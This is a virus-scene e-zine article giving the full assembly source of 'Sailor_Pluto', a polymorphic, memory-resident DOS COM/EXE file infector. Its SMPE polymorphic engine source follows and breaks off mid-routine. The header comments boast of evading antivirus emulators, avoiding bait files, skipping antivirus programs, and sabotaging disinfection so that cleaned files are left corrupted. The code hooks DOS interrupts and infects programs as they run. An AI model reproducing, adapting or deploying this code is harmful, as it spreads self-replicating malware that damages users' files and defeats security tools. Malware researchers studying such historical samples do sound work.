Copy Link
Add to Bookmark
Report
xine-2.027
/-----------------------------\
| Xine - issue #2 - Phile 027 |
\-----------------------------/
;
; Name : Sailor_Pluto
; Author : b0z0
; Group : iKx
; Origin : Padania, Jan/Feb/Mar 1997
; Compile : Use TASM 3.0
; tasm /m2 pluto.asm
; tlink pluto
; Description : This is a polymorphic COM/EXE TSR infector using SMPE
; (Sailor Moon Polymorphic Engine) version 0.2. Well, what
; does SMPE do? SMPE will generate quite large decryptors
; (also some Kb sometime) that contains a lot of garbage
; code from the most normal one (reg moving, reg math
; operations, reading/using memory stuff, conditional and
; normal jumps, calls, pushes & pops, flag operations,
; sometime maybe an int3, operations with immediates, both
; with word and byte regs....), up to quite-do-nothing
; interrupts (many of them... some video, kbd and many
; dos stuff ones) and has also many antiemulator structures
; that, currently, are quite succesfull in many cases
; against various antiviruses. The poly engine will also
; randomly encrypt some more bytes than we gived as parameters
; and will also put some more unencrypted bytes after
; the encrypted stuff. This is of course to make disinfection
; very hard. To make the poly a little more interesting
; the maximal random number of instructions between various
; pieces of code is determinated (01Fh or 03Fh) when the
; virus goes resident. So generally in some DOS sessions
; the decryptors will generally look smaller and after some
; boots created decryptors may be bigger :) Of course we are
; just changing the max limit, so the medium size of the
; decryptors will be smaller or bigger, but even with
; the small limit, decryptors can be (depending on the
; random generator) quite big. Also the SMPE can use
; all the registers as counter (just ax won't be used,
; because it is too needed for ints and such like) and
; the standard pointers as pointers (bx,di,si,bp). SMPE
; is able to encrypt the body of the virus from the start
; forward or also starting from the end downto the start.
; It can do really quite a lot of different code, give it
; a look!
; Apart from the poly random bytes at the end of the body
; also some random bytes will be put at the end of the original
; host just before we will put our code. No info about how
; much of these is present anywhere in the virus, so ,even if
; the AVs will be in the future able to force my poly in some
; way, the cleaned files will still be a little dirty :)
; It may be interesting the COM infection marker. Infact
; Sailor_Pluto will put the marker (and of course look
; for it when needed) in a random place in the first 1FFh
; bytes. This is intended to make disinfection (expecially
; the CRC based ones) harder. If TBClean is able to go
; throught the decryptor (very sporadically, because it
; bail out at various ints and sometimes also crashes)
; then the virus (using the old stack method) won't let
; him to restore the real word but something else, so
; TBClean-ed COMs won't work properly ;) As for example
; of this anti-crc signature you can get the TBAV CRC
; files. Infact only first 20h bytes may be reconstructed,
; so also the dear old CRC-files users will have a very
; difficoult existence ]:)
; It has many antibait features:
; - won't infect files divisible 1000 and 1024
; - will compare a word of the previously infected
; file to prevent infecting equal files
; - files with digits aren't infected
; - won't infect if the first two letters of the filename
; are equal to two letters of the previous runned file
; (prevent infecting different goats with a standard
; part as filename)
; - won't infect files beginning with a 'V'. Probable
; bait or unknown 'V'irus releated program
; - won't infect files created in the current month. This
; may slow a little the infection stage, but generally
; programs (commercial or not) aren't created very
; recently. On the other side checking just the day as
; many viruses do may bee too weak as antigoat.
; The virus won't tunnel the original int21h but will rather
; try to get it from List_of_Lists_segment:10A0 (as
; Neurobasher teaches us :)).
; To prevent damaging COM files under Windroga 95 and such,
; Sailor_Pluto won't infect COMs if version is >= 7.
; The poly engine will be encrypted in memory with a 16bit
; xor and will be decrypted when needed. Of course at each
; use (decryption and at the end encryption) of the poly the
; key will be changed. To do this i needed to wrote a simple
; decryption loop, so i decided (once it was there written
; and ready) to use it also on the file. So after the quite
; complex decryptor of the poly engine (that can make add,
; sub, xor, rol, ror with byte or word. as for ror/rol the
; key can be also modified in the loop) we will found a
; classic word xor loop. Nothing special, but will make the
; removing of the virus again a little bit more timewasting ;)
; Since the poly does quite large decryptors, reserving
; a big amount of mem all the time from the installation isn't
; a good idea. So the poly will allocate (and of course free
; them when finished) a part of memory where it will store
; the decryptor and encrypted stuff at any run when the poly
; is needed.
;
;
pluto segment
assume cs:pluto,ds:pluto,es:pluto
org 00h
exe_start:
call realstart
realstart:
pop bp
sub bp,offset realstart ; bp delta offset
push cs
pop ds
mov di,offset virus_normal_encrypt_start
add di,bp
mov ax,crypt_size/2
push di ; we will continue there
jmp short enc_dec_smpe ; do the simple xor loop
enc_dec_smpe_engine:
; this is called for the poly encryption. pointer
; end lenght are already set up for it
mov di,offset smpe_encrypted_start
mov ax,((smpe_encrypted_end-smpe_encrypted_start)+1)/2
enc_dec_smpe:
push cx
mov cx,ax
simple_dec:
; xor word ptr ds:[di],0000h
db 81h,35h,00h,00h
inc di
inc di
loop simple_dec
pop cx
ret
virus_normal_encrypt_start:
mov di,offset isexe ; DI on exe/com marker
add di,bp
cld
cmp byte ptr ds:[di],01h ; is com or exe?
jne exe_segment_adjust
push cs
pop es
exe_segment_adjust:
push es
push es
push di
mov bx,bp
mov ah,18h ; installation check
mov al,ah
int 21h
cmp ax,'SP'
jne go_resident
jmp bx ; if resident it will calculate
; the jump offset for us
go_resident:
mov dx,'MZ'
mov ax,es ; on PSP
xor di,di
dec ax ; to MCB
mov ds,ax ; DS on MCB
l4mcb:
mov bx,word ptr ds:[di+03h]
inc bx
cmp byte ptr ds:[di],dl ; last MCB?
je last
add ax,bx
mov ds,ax
jmp l4mcb
last:
mov cx,size_para+1 ; size in para + 1 for mcb
sub ax,cx
add ax,bx
sub word ptr ds:[12h],cx ; = PSP+2
sub word ptr ds:[03h],cx ; = MCB+3
mov byte ptr ds:[di],dh ; DH = 'M'
mov ds,ax
dec cx
mov byte ptr ds:[di],dl ; "create" last MCB block
mov word ptr ds:[1],08h
mov word ptr ds:[3],cx
inc ax
mov es,ax ; es = virus segment
push cs
pop ds ; ds points on code
mov cx,(virus_size+1)/2
mov si,bp ; start of the virus
rep movsw ; move virus
push es ; virus segment
sub ax,ax
mov ds,ax
mov word ptr es:[simple_dec + 2],ax ; poly isn't enc. yet
mov cx,offset int21_handler
pop dx
cli
xchg cx,word ptr ds:[084h] ; Set our int 21h
xchg dx,word ptr ds:[086h]
mov word ptr es:[old_int21_off],cx ; handler
mov word ptr es:[old_int21_seg],dx
sti
push es
mov ah,52h ; get list of lists
int 21h
push es
pop ds
pop es
mov si,10a0h ; look for original int21h
cmp word ptr ds:[si-2],9090h ; first sig
jne originals
cmp byte ptr ds:[si],0e8h ; check if it is.
jne originals
mov cx,si
mov dx,ds
originals:
mov word ptr es:[orig_21h],cx
mov word ptr es:[orig_21h+2],dx
mov ah,01fh ; select if the max number
in al,40h ; of garbage instructions
ror al,1 ; in the gargage generation
jc dont_add_max ; in this session will be
add ah,020h ; 01fh or 03fh
dont_add_max:
mov byte ptr es:[do_garbage+1],ah ; store it
notinst:
pop di
pop es
pop ds
cmp byte ptr cs:[di],00h ; com or exe?
jne realcom
mov ax,ds ; .EXE restore
add ax,10h
add cs:[di-09h],ax ; modify cs
sub bx,bx
sub cx,cx
sub dx,dx
sub si,si
sub bp,bp
cli
mov sp,word ptr cs:[di-07h] ; restore sp
add ax,word ptr cs:[di-05h] ; modify ss
mov ss,ax
sti
sub ax,ax
push cs:[di-09h] ; push victim cs
push cs:[di-0bh] ; push victim ip
sub di,di
retf ; return on original cs:ip
infip dw 00000h
infcs dw 0fff0h
infsp dw ?
infss dw ?
old_jump db 0cdh,020h,00h ; original first 3 bytes
isexe db 00h ; 00h=exe, 01=com
old_two_rnd db 00h,00h ; original random word
virus_name db 'Sailor_Pluto',0
virus_author db '-b0z0/iKx-'
do_original_21h:
pushf ; does a call to the
call dword ptr cs:orig_21h ; original (if got) int 21h
ret
orig_21h dd 00h
realcom:
sub ax,ax ; .COM file restore
inc ax
xchg ah,al
push ax ; ax = begin of com in mem
push ax
mov si,ax
add si,03h ; si = where to start checking
search_loop:
inc si
cmp word ptr ds:[si],'PS' ; search for changed word
jne search_loop
mov bx,word ptr ds:[di+01h] ; original word
push bx
pop cx ; Be sure that TBClean
dec sp ; and such like will
dec sp ; permanently destroy
pop ax ; the COM file :-)
mov word ptr ds:[si],ax ; restore changed word
lea si,[di-03h] ; old three bytes
pop cx
pop di
xor ax,ax ; needed for some old DOS coms
movsw ; put original 3 bytes
movsb
jmp cx ; jump at cs:100
int21_handler:
xchg ah,al
cmp ax,1818h ; installation check
jne acheck
mov ax,'SP' ; Sailor_Pluto responses
add bx,offset notinst
iret
acheck:
cmp ax,004bh ; program execution
je execute
goint21:
xchg ah,al
db 0EAh
old_int21_off dw ?
old_int21_seg dw ?
;
origin db 'PADANIA - 1997',0
;
execute:
pushf
push dx
push ax
push cx
push bx
push bp
push ds
push si
push di
push es
mov ah,19h ; don't infect on floppyes
call do_original_21h
cmp al,2
jae ok_disk
jmp restore_registers
ok_disk:
push ds
push dx
mov ax,3524h ; get int24h seg and off
call do_original_21h
mov word ptr cs:[old_int24_off],bx ; store them
mov word ptr cs:[old_int24_seg],es
push cs
pop ds
mov dx,offset int24h ; our int24h
mov ax,2524h
call do_original_21h
pop dx
pop ds
push dx
pop di
sloop: ; ds:di-> filename
inc di
cmp byte ptr ds:[di],'.'
jne sloop ; search for '.'
cmp byte ptr ds:[di+4],00h
jne sloop
inc di
look_sla:
dec di
mov al,byte ptr ds:[di-1]
cmp al,'0'
jb ok_name_let
cmp al,'9' ; numeric in name?
jbe exit_from_here
ok_name_let:
cmp al,'\' ; search for \
jne look_sla
lea si,antiviruses
mov ax,word ptr ds:[di]
cmp al,'V' ; probable bait or AV software
je exit_from_here
cmp ax,word ptr ds:[exec_letter] ; similar names?
je exit_from_here
avcloop:
mov cx,word ptr cs:[si]
cmp ax,cx
jne notav
exit_from_here:
stc
jmp endscan
notav:
inc si ; next av signature
inc si
cmp byte ptr cs:[si],00h ; end of the checked sigs?
je endscan
jmp avcloop
endscan:
jnc bogus
jmp oh_shit2
bogus:
mov word ptr ds:[exec_letter],ax ; store 2 letters
mov ax,4300h
call do_original_21h
push cx
push ds
push dx
sub cx,cx
call set_attr
jnc file_writeable
exiting:
jmp oh_shit
file_writeable:
mov ax,3d02h ; open for rw
call do_original_21h
jc exiting
ahead:
mov bx,ax ; bx file handle as usual
push cs
pop ds
; file lenght check
mov al,02h ; lseek at end
call movefile
or dx,dx
jnz leave_ax_check
cmp ax,1388h ; AX = 5000?
jbe set_marker
leave_ax_check:
xor dx,dx
push ax
mov cx,1000d ; divisible by 1000
div cx
pop ax
or dx,dx
jz set_marker
and ax,1ffh ; divisible by 1024
jnz oki_lenght_chk
set_marker:
jmp oh_shit
oki_lenght_chk:
mov ax,5700h ; read date/time
call do_original_21h
push cx
push dx
mov ah,2ah ; get system date
call do_original_21h
sub cx,1980 ; prepare for compare
mov ax,dx
pop dx
push dx
push cx
mov cl,07
rol dx,cl
pop cx
and dl,07fh ; DX = years from 1980
cmp dl,cl
jne different_year ; away if year is different
pop dx
push dx
mov cl,5
ror dx,cl
and dl,0fh ; get just month
xchg ah,al
cmp al,dl
je closing ; exit if month is current
different_year:
xor al,al
call movefile ; go at file start
mov ah,3fh ; read 200h bytes from file
mov cx,200h
lea dx,exeheader
mov si,dx
call do_original_21h
mov ax,word ptr ds:[goat_word]
cmp word ptr [si+02h],ax
je closing ; is the same word at 02h ?
mov ax,'ZM'
cmp word ptr [si],ax ; check MZ
je exestuff
xchg ah,al
cmp word ptr [si],ax ; check ZM
je exestuff
cmp byte ptr [si],0e9h ; jump in com?
jne cominf
push si
add si,02h
mov cx,1ffh ; bytes to check
signature_check:
inc si
cmp word ptr ds:[si],'PS' ; look for our marker
jne next_one
pop si
jmp closing
next_one:
loop signature_check
pop si
cominf:
jmp cominfect ; infect com file
exestuff:
cmp byte ptr [si+18h],'@' ; no winexes
je closing
mov ax,word ptr [si+12h]
xor ax,word ptr [si+16h]
cmp ax,'PS' ; check for infection marker
je closing
cmp word ptr [si+1ah],00h ; internal ovl
jne closing
call exeinfect ; infect .exe file
closing:
pop dx
pop cx
mov ax,0157h ; set date/time
xchg ah,al
call do_original_21h
mov ah,3eh ; close file
call do_original_21h
oh_shit:
pop dx
pop ds
pop cx
call set_attr ; reput old attributes
oh_shit2:
mov ax,2524h ; restore int 24h
mov ds,cs:[old_int24_seg]
mov dx,cs:[old_int24_off]
call do_original_21h
restore_registers:
pop es
pop di
pop si
pop ds
pop bp
pop bx
pop cx
pop ax
pop dx
popf
jmp goint21
cominfect: ;com infection routine
;bx <-- filehandle
;si --> exeheader
;cs=ds=code
push bx
mov ah,30h ; get dos version
call do_original_21h
pop bx
cmp al,07h ; is >= 7 ?
jae exitcominfect ; if so, no COMs, sry :)
push ds ; copy original 3 bytes
pop es
lea di,old_jump ; in old_jump
movsw
movsb
sub si,03h
mov ax,word ptr ds:[si+02h] ; store word for cmp
mov word ptr ds:[goat_word],ax
getrndi:
in al,40h ; where to put our marker
cmp al,4
jbe getrndi
xor ah,al
and ah,01b
dec al ; it will go from 04 to 1feh
mov di,ax
add di,si
mov ax,word ptr ds:[di] ; save old word
mov word ptr ds:[old_two_rnd],ax
mov word ptr ds:[di],'PS' ; put our marker
mov al,02h ; lseek at end
call movefile
cmp ax,0C0DEh ; AX > 49374?
ja exitcominfect ; JMP if >
call add_end ; put some shit on end
push ax
sub ax,03h ; sub the jmp
mov word ptr ds:[exeheader+01h],ax ; new jump
mov byte ptr ds:[exeheader],0e9h
mov byte ptr isexe,01h ; mark as com
pop bp
add bp,100h ; run offset
push ds
push si
mov cx,(virus_size)
xor dx,dx ; virus starts at seg:0
mov al,01h ; can play with es
call smpe ; call poly
jnc poly_exit_ok
pop si ; restore stack
pop ds
jmp closing
poly_exit_ok:
push es
pop ds
mov ah,40h ; write virus
pop si
push ax
call do_original_21h
xor al,al ; go at start
call movefile
pop ax
pop ds
mov cx,200h ; write first 512 bytes
mov dx,offset exeheader
call do_original_21h
exitcominfect:
jmp closing
movefile:
mov ah,42h ; move to start or end
cwd
sub cx,cx
call do_original_21h
ret
add_end:
push ax
push ds
randi_add:
in al,40h
or al,al ; at least 1 byte
jz randi_add
mov ds,ax ; random "From:" place
xor ah,ah
mov cx,ax ; how much pure shit :-)
mov ah,40h ; write to file
call do_original_21h
pop ds
pop ax
add ax,cx ; add to lenght
ret
phrase db 'Chaos is the future and beyond it is Freedom',0
exeinfect:
;bx <- filehandle
;si -> exeheader
mov cx,word ptr [si+04h] ; calculate real lenght
mov ax,512
mul cx
add ax,word ptr [si+02h]
adc dx,00h
mov di,dx
push ax
mov al,02h
call movefile
pop cx
cmp dx,di ; compare lseek length with
jbe oki_lenght
exit_lenght:
ret
oki_lenght:
cmp ax,cx ; lenght loaded by the loader
ja exit_lenght
call add_end ; put some shit at end
adc dx,0
push ax ; store length
push dx
mov cx,word ptr [si+14h] ; store old IP
mov infip,cx
mov cx,word ptr [si+16h] ; store old CS
mov infcs,cx
mov cx,word ptr [si+10h] ; store old SP
mov infsp,cx
mov cx,word ptr [si+0eh] ; store old SS
mov infss,cx
mov cx,10h
div cx
sub ax,word ptr [si+08h]
mov word ptr [si+14h],dx ; new cs:ip
mov word ptr [si+16h],ax
mov cx,'PS'
xor cx,ax ; modify marker
mov word ptr [si+12h],cx ; store marker
mov bp,dx
push dx
mov byte ptr [isexe],00h
push ds
push ax
push si
mov cx,(virus_size)
xor dx,dx ; virus at cs:0
xor al,al ; no es modif
call smpe
push es
pop ds
pop si
jnc poly_exit_exe_ok ; if carry error in poly
add sp,0ah ; stack adjust
ret
poly_exit_exe_ok:
mov ah,40h ; write virus at end
push cx
call do_original_21h
sub al,al ; move at start
call movefile
pop cx
pop ax
pop ds ; rewrite header
pop dx
cmp byte ptr [seg_sta],02h
je cs_must_equ_ss
; we must here pay attention if our poly generated an operation
; using BP as pointer. This is because if BP is used and segment
; isn't explicitly given it will assume that we are working on SS
; and not on DS as with other registers as pointers... so if no
; segment is explicitly given in the poly and BP is used we must
; set SS=CS. In other cases SS=CS+1 so 'K' flag will be less often
inc ax ; SS = CS + 1
cs_must_equ_ss:
mov word ptr [si+0eh],ax ; new stack segment
add dx,cx ; just after body
add dx,500h ; some more coz needed
and dl,0feh
mov word ptr ds:[si+10h],dx ; new stack pointer
pop dx
pop ax
add ax,cx
mov cx,200h ; one page
adc dx,00h
div cx
xchg word ptr [si+02h],dx ; new length
mov word ptr [goat_word],dx
inc ax
mov word ptr [si+04h],ax ; new length
mov ah,40h ; write header
mov cx,200h
mov dx,si
call do_original_21h
exitexeinfect:
ret
set_attr:
mov ax,0143h ; set attributes
xchg al,ah
call do_original_21h
ret
antiviruses db 'TB' ; TBAV and releated
db 'AV' ; AVP
db 'F-' ; F-Prot
db 'SC' ; Scan
db 'MS' ; Misc Micro$Hit warez ;-)
db 'FI' ; Findvirus
db 'NA' ; NAv
db 'CO' ; Command
db 00h ; end of strings
; Int 24h handler. Just go away if error
int24h:
mov al,00h
iret
; Include poly engine source code
include spoly.asm
virus_normal_encrypt_end:
; The poly engine has on end poly_mem_used bytes that are used only
; in memory
virus_end:
old_int24_off dw ? ;original int24 offset
old_int24_seg dw ? ;original int24 segment
exec_letter dw ?
goat_word dw ?
exeheader db 201h dup (?)
virus_end_memory:
size_para=(virus_end_memory-exe_start+0fh)/10h ; virus size in memory
virus_size=(virus_end - exe_start - poly_mem_used + 3)
virus_crypt_size=(virus_normal_encrypt_end-virus_normal_encrypt_start)
crypt_size=(virus_crypt_size-poly_mem_used+1)
pluto ends
end exe_start
;------------------------------------------------------------------------------
;------------- Everything after this line is the SPOLY.ASM file ---------------
;------------------------------------------------------------------------------
;
; Sailor Moon Poly Engine v0.2
; in:
; CX = bytes to encrypt
; DS:DX = what we are going to encrypt (body of ourselves)
; BP = offset at which it will run
; AL = can ES be modified? (00 = NO (for exes) , 01 = YES (for coms))
; it is assumed that DS=CS !!!
;
; out:
; CX,DI = lenght of the generated code
; ES:DX = encrypted code
; BX = preserved
;
poly_mem_used=(poly_data_mem_end-poly_data_mem)
poly_paras=400h ; memory for poly
smpe:
mov ah,01h ; store ah flag
mov word ptr ds:[es_mody],ax
call enc_dec_smpe_engine ; decrypt engine
smpe_encrypted_start:
cld
push bx
;; Try to allocate the needed memory for the poly stuff
mov ah,48h ; allocate mem for our poly
mov bx,poly_paras
call do_original_21h
jnc ok_memory
mov word ptr ds:[simple_dec+2],00 ; we won't encrypt it now,
; so don't decrypt it later ;)
pop bx
stc ; no mem avaiable :(
ret
ok_memory:
mov es,ax ; allocated segment
push cx
push ds ; save important regs
push dx
;; Initialization start
call add_to_cx
sub bx,bx
mov byte ptr ds:[first_inc],46h
mov word ptr ds:[enc_lenght],cx ; save lenght
mov word ptr ds:[enc_loop],3480h ; engine initialization
mov word ptr ds:[isword],bx ; clear type selection
mov word ptr ds:[random_value],09090h ; clear rnd value
mov byte ptr ds:[second_inc],90h ; clear second word inc
mov word ptr ds:[emu_trick],bx
mov word ptr ds:[push_nr],bx
mov word ptr ds:[cmp_check],bx
dec bx
mov word ptr ds:[count_reg],bx ; clear used registers
mov word ptr ds:[nocx],bx ; clear cx and seg flag
sub di,di ; so ES:DI = ES:0
in ax,40h ; initialize encryption
mov word ptr ds:[simple_dec+2],ax ; value for next time
;; Initialization end
;; Decryption building start
call do_garbage ; decryptor gen. start
rndget:
call do_random_dx_0f
cmp al,4 ; no sp
je rndget
cmp al,00h ; no ax
je rndget
mov byte ptr ds:[count_reg],al
mov ah,al
mov al,0b8h ; mov _reg16_,immediate
add al,ah
stosb
in al,40h
ror al,1
jnc on_one_side
mov byte ptr ds:[inverse],01h
on_one_side:
call do_random_dx_0f ; 0-2 ROR, 3-7 MATH
cmp al,2
ja nororing ; select if ror/rol of math
cmp byte ptr es:[di-1],0b9h
je nororing ; if using CX no rol/ror!
mov byte ptr ds:[isrolror],01h ; we'll ror/rol
cmp al,0
jne nororing
inc byte ptr ds:[isrolror] ; rol/ror with diff CL
nororing:
ror al,1
jc notaword
mov byte ptr ds:[isword],01h ; word operation
notaword:
mov word ptr ds:[counter_pos],di
stosw ; we will fill this later
call do_garbage ; shit stuff
isntapnt:
call do_random_dx_0f
cmp al,03h ; select a pointer
jb isntapnt
cmp al,04h
je isntapnt
cmp al,byte ptr ds:[count_reg] ; can't be same as counter
je isntapnt
mov byte ptr ds:[point_reg],al
mov ah,al
mov al,0b8h ; mov _reg16_,immediate
add al,ah
stosb
mov pointer_di,di ; save pointer position
stosw
call do_garbage
cmp byte ptr ds:[isrolror],00h
je dontcl
in al,40h
shr ax,1
pushf
jc make_a_cx
mov al,0b1h ; mov cl,rot_num
stosb
jmp redorandom
make_a_cx:
mov al,0b9h ; mov cx,rot_num
stosb
redorandom:
mov bx,0fh ; how many rols/rors
mov dx,bx
call do_random
cmp al,00h
je redorandom
stosb
mov byte ptr ds:[cl_move],al
mov byte ptr ds:[nocx],01h
popf
jnc no_cxbadd
in al,40h ; something for ch
stosb
no_cxbadd:
call randomshit ; garbage
dontcl:
mov word ptr ds:[secphs],di ; where we will jump
push di
call randomshit
pop ax
ror al,1
jc withsegmentop
mov al,0eh ; PUSH CS
stosb
call randomshit
mov al,1fh ; POP DS
stosb
mov byte ptr ds:[ds_mody],00h ; don't use ds
mov byte ptr ds:[seg_sta],01h
call randomshit
jmp mathoperation
withsegmentop:
mov al,02eh ; CS:
stosb
mathoperation:
cmp byte ptr ds:[isrolror],00h
je puremath
mov al,0d2h ; ROL/ROR base byte
cmp byte ptr ds:[isword],00
je rolbyte
inc al ; word = byte +1
rolbyte:
stosb ; first rol/ror byte
call do_random_dx_0f
ror al,1
mov al,04h
jnc rollinging
add al,08h ; roring
mov byte ptr [enc_loop+1],04h ; encryptor always with SI
jmp rolend
rollinging:
mov byte ptr [enc_loop+1],0ch ; ROL/ROR base
rolend:
cmp byte ptr [point_reg],06h ; ROL/ROR si?
je finish_pointer_ro
inc al
cmp byte ptr [point_reg],07h ; ROL/ROR di?
je finish_pointer_ro
add al,2
cmp byte ptr [point_reg],03h ; ROL/ROR bx?
je finish_pointer_ro
add al,03fh ; so it is bp
inc byte ptr [seg_sta]
stosb
sub al,al ; bp needs 1 byte more
finish_pointer_ro:
stosb
jmp nowordi
puremath:
mov al,080h ; ADD/SUB/XOR base
cmp byte ptr ds:[isword],00h
je goforbyte
inc al ; word = byte +1
goforbyte:
stosb
mov bx,02h
mov dx,03h
call do_random ; select which
mov cl,al
mov al,34h
cmp cl,00h
je xoring
cmp cl,01h
jne subbing
sub al,30h
mov byte ptr [enc_loop+1],2ch ; ADD
jmp xoring
subbing:
sub al,08h
mov byte ptr [enc_loop+1],04h ; SUB
xoring:
cmp byte ptr [point_reg],06h ; SI?
je finish_pointer
inc al
cmp byte ptr [point_reg],07h ; DI?
je finish_pointer
add al,2
cmp byte ptr [point_reg],03h ; BX?
je finish_pointer
add al,03fh ; well, BP!
inc byte ptr [seg_sta]
stosb
sub al,al ; bp needs 1 byte more
finish_pointer:
stosb
in al,40h
mov byte ptr ds:[random_value],al
stosb ; one random value
cmp byte ptr ds:[isword],00h
je nowordi ; encrypting words?
in al,40h
stosb
mov byte ptr ds:[random_value+1],al ; one more
nowordi:
call do_inc_pointer ; increment pointer
cmp byte ptr ds:[isrolror],02h ; rol/ror with changing CX
jne no_cl_change
call random_foo_instructions
in al,40h
ror al,1
mov al,041h ; inc cx
jc increment_cx
add al,08h ; 49h = dec cx
increment_cx:
mov byte ptr ds:[random_value+1],al ; put also in encryptor
stosb
no_cl_change:
cmp byte ptr ds:[isword],00h ; is word?
je noby
call do_inc_pointer ; increment once more
noby:
call do_garbage
mov al,048h ; dec counter
add al,byte ptr ds:[count_reg]
stosb
call do_random_dx_0f ; CMP or no CMP?
cmp al,05h
jae direct_ncmp
push ax
call do_garbage
pop ax
cmp al,02h
ja no_compare
mov byte ptr ds:[can_doda],01h
mov ah,083h ; base for ops
cmp al,00h
ja no_cmp
mov al,0f8h ; CMP counter,0
jmp comp_store
no_cmp:
cmp al,02h
je oring
mov al,0f0h ; XOR counter,0
jmp comp_store
oring:
mov al,0c8h ; OR counter,0
comp_store:
xchg ah,al
add ah,byte ptr ds:[count_reg] ; store op
stosw
sub al,al ; CMP/XOR/OR counter,0
stosb
jmp direct_ncmp
no_compare:
cmp al,04h
je do_with_and
mov al,0bh ; OR counter,counter
jmp second_operand
do_with_and:
mov al,23h
second_operand:
stosb
mov al,0c0h ; AND counter,counter
mov cl,byte ptr ds:[count_reg]
add al,cl
call instr_change
stosb
direct_ncmp:
call do_random_dx_0f
mov cl,al ; random in cl
mov ax,di
inc ax
sub ax,word ptr ds:[secphs] ; check lenght of the jump
not ax ; of the decryption loop
ror cl,1
jc must_be_long
cmp ax,0ff83h
jae do_short_jump
must_be_long:
sub ax,03h ; for the jz forward
push ax
mov ax,0374h ; JZ=JE away
cmp byte ptr ds:[can_doda],00h
je ok_stojz
ror cl,1
jc ok_stojz
inc al ; put JBE
inc al
ok_stojz:
stosw
mov al,0e9h ; JMP
stosb
pop ax
jmp end_bjump
do_short_jump:
cmp byte ptr es:[di-1],049h ; is a DEC CX ?
jne normal_short_jump
ror cl,1
jc normal_short_jump
dec di ; overwrite the dec cx
dec al ; jump bytes
mov ah,0e2h ; LOOP
jmp xchnstr
normal_short_jump:
mov ah,75h ; JNE=JNZ back
cmp byte ptr ds:[can_doda],00h
je xchnstr
ror cl,1
jnc xchnstr
inc ah
inc ah
xchnstr:
xchg ah,al
end_bjump:
stosw
mov ax,01h
mov byte ptr ds:[ds_mody],al ; we can again change DS
dec ax
dec ax
mov word ptr ds:[count_reg],ax ; we can now use all regs
call do_garbage ; put some more garbage
cmp byte ptr ds:[inverse],01h
jne no_more_needed
call do_garbage ; expecially if we encrypted
call do_garbage ; from end to begin - prefetch
no_more_needed:
mov ax,bp
mov si,word ptr ds:[pointer_di] ; calculate pointer on code
add ax,di
cmp byte ptr ds:[inverse],01h
jne lets_cont
add ax,word ptr ds:[enc_lenght]
dec ax
dec ax
lets_cont:
mov word ptr es:[si],ax ; store pointer on code
sub ax,bp
;; Decryptor building end
mov cx,word ptr ds:[enc_lenght]
push cx
cmp byte ptr ds:[isword],00h ; convert lenght in words
je go_for_it
inc cx
shr cx,1
go_for_it:
mov si,word ptr ds:[counter_pos]
mov word ptr es:[si],cx ; store lenght
pop cx
mov dx,cx
pop si
pop ds
pop cx
; Copy code and encrypt it
push di
rep movsb ; copy the virus after
pop di
push ax
push ds
push es
pop ds
add di,offset virus_normal_encrypt_start
mov ax,crypt_size/2
call enc_dec_smpe ; encrypt with the xor
pop ds
pop ax
mov si,ax
push ax
cmp byte ptr ds:[inverse],01h
jne no_decrement_ndd
mov byte ptr ds:[first_inc],4eh ; dec si
no_decrement_ndd:
cmp byte ptr ds:[isrolror],00h ; are we rol(r)ling?
je noro
mov byte ptr ds:[enc_loop],0d2h ; first byte for ror/rol
mov byte ptr ds:[random_value],90h ; no random value req
cmp byte ptr ds:[isrolror],02h
noro:
cmp byte ptr ds:[isword],00h ; word operations?
je pre_enc_loop_one
mov ax,dx
inc ax
shr ax,1
mov dx,ax ; calculate lenght in words
inc byte ptr ds:[enc_loop] ; put word working opcode
mov cl,46h
cmp byte ptr ds:[inverse],01h
jne ok_no_cl_ch
add cl,08h
ok_no_cl_ch:
mov byte ptr ds:[second_inc],cl ; put another inc
pre_enc_loop_one:
db 0b1h ; mov cl,
cl_move db 00h ; immediate
push es ; DS to what we must encrypt
pop ds
jmp enc_loop ; cpus rules 4 prefetch
do_inc_pointer:
call randomshit ; some foo instructions
mov al,040h ; pointer increment
cmp byte ptr ds:[inverse],00h
je no_decrement
add al,08h ; dec base
no_decrement:
add al,byte ptr ds:[point_reg]
stosb
ret
randomshit:
mov bx,0fh
mov dx,bx
call do_random ; how much shit
cmp al,00h
je randomshit
mov cl,al
sub ch,ch
call do_the_random ; do shit
ret
enc_loop:
; xor byte ptr ds:[si],immediate
db 080h
db 034h ; real poly encryption
random_value db 090h
db 90h ; random value2
first_inc db 46h ; inc si
second_inc db 90h ; space for second inc si
dec dx
jnz enc_loop
pop ax
cmp byte ptr cs:[inverse],00h ; from end?
je normali
inc ax ; adjust lenght
inc ax
mov di,ax
jmp after_it
normali:
mov di,si
after_it:
sub dx,dx ; ds:dx = generated code
mov cx,di ; cx=di=lenght
call add_to_cx
pop bx
push ds
pop es
mov ah,49h
call do_original_21h ; deallocate the mem for poly
; ES still on virus code,
; but now it isn't allocated
; any more
push cs
pop ds
jmp enc_dec_smpe_engine ; encrypt poly and exit
poly_name db '[SMPE 0.2]'
add_to_cx:
in ax,40h
and ax,0111111b ; add up to 63 bytes to
add cx,ax ; the lenght in CX
ret
do_garbage:
mov bx,1fh ; max number of garbage i.
mov dx,bx
pung:
call do_random ; how much instructions
cmp al,00h
je pung ; no 0 instruction allowed!
mov cl,al
sub ch,ch ; CX = number of instructions to generate
do_the_random:
mov dx,07 ; used for the random gen
mov bx,dx
call do_random
cmp al,04h ; no SP allowed
je do_the_random
cmp al,byte ptr ds:[count_reg] ; don't change the counter
je do_the_random
cmp al,byte ptr ds:[point_reg] ; don't change the pointer
je do_the_random
cmp al,byte ptr ds:[nocx] ; no CX change if used
je do_the_random
xchg ah,al
mov byte ptr ds:[reg8bits],0 ; reset 8 bit marker
call select_instruction ; generate the instuction
loop do_the_random ; with the selected reg.
ret
select_instruction:
push cx ; AH = destination register
push ax
mov si,offset instructions
redorndin:
mov bx,0ah ; 0Ah basic types of instructions
mov dx,0fh ; don't eliminate some
call do_random ; which instruction will we generate
cmp al,byte ptr ds:[last_done] ; try to change sometime
je redorndin
continue:
mov byte ptr ds:[last_done],al ; store type
add si,ax ; point to the instr. in the table
cmp al,1 ; which instruction
ja foo_label
jmp one_byte_instruction
foo_label:
cmp al,7
jb no_3b
jmp three_bytes_instruction
no_3b:
cmp al,2 ; which instruction
je outta_here
cmp al,4
jne foo_label_2
jmp not_nop
foo_label_2:
cmp al,5
jb outta_here
jmp rolling
outta_here:
mov al,byte ptr ds:[si]
jae finish_mate
push ax
calltheran:
call do_random_dx_0f
mov cl,al
cmp cl,7 ; is a compare?
jne end_cmp_check
mov byte ptr ds:[cmp_check],1 ; sign it.
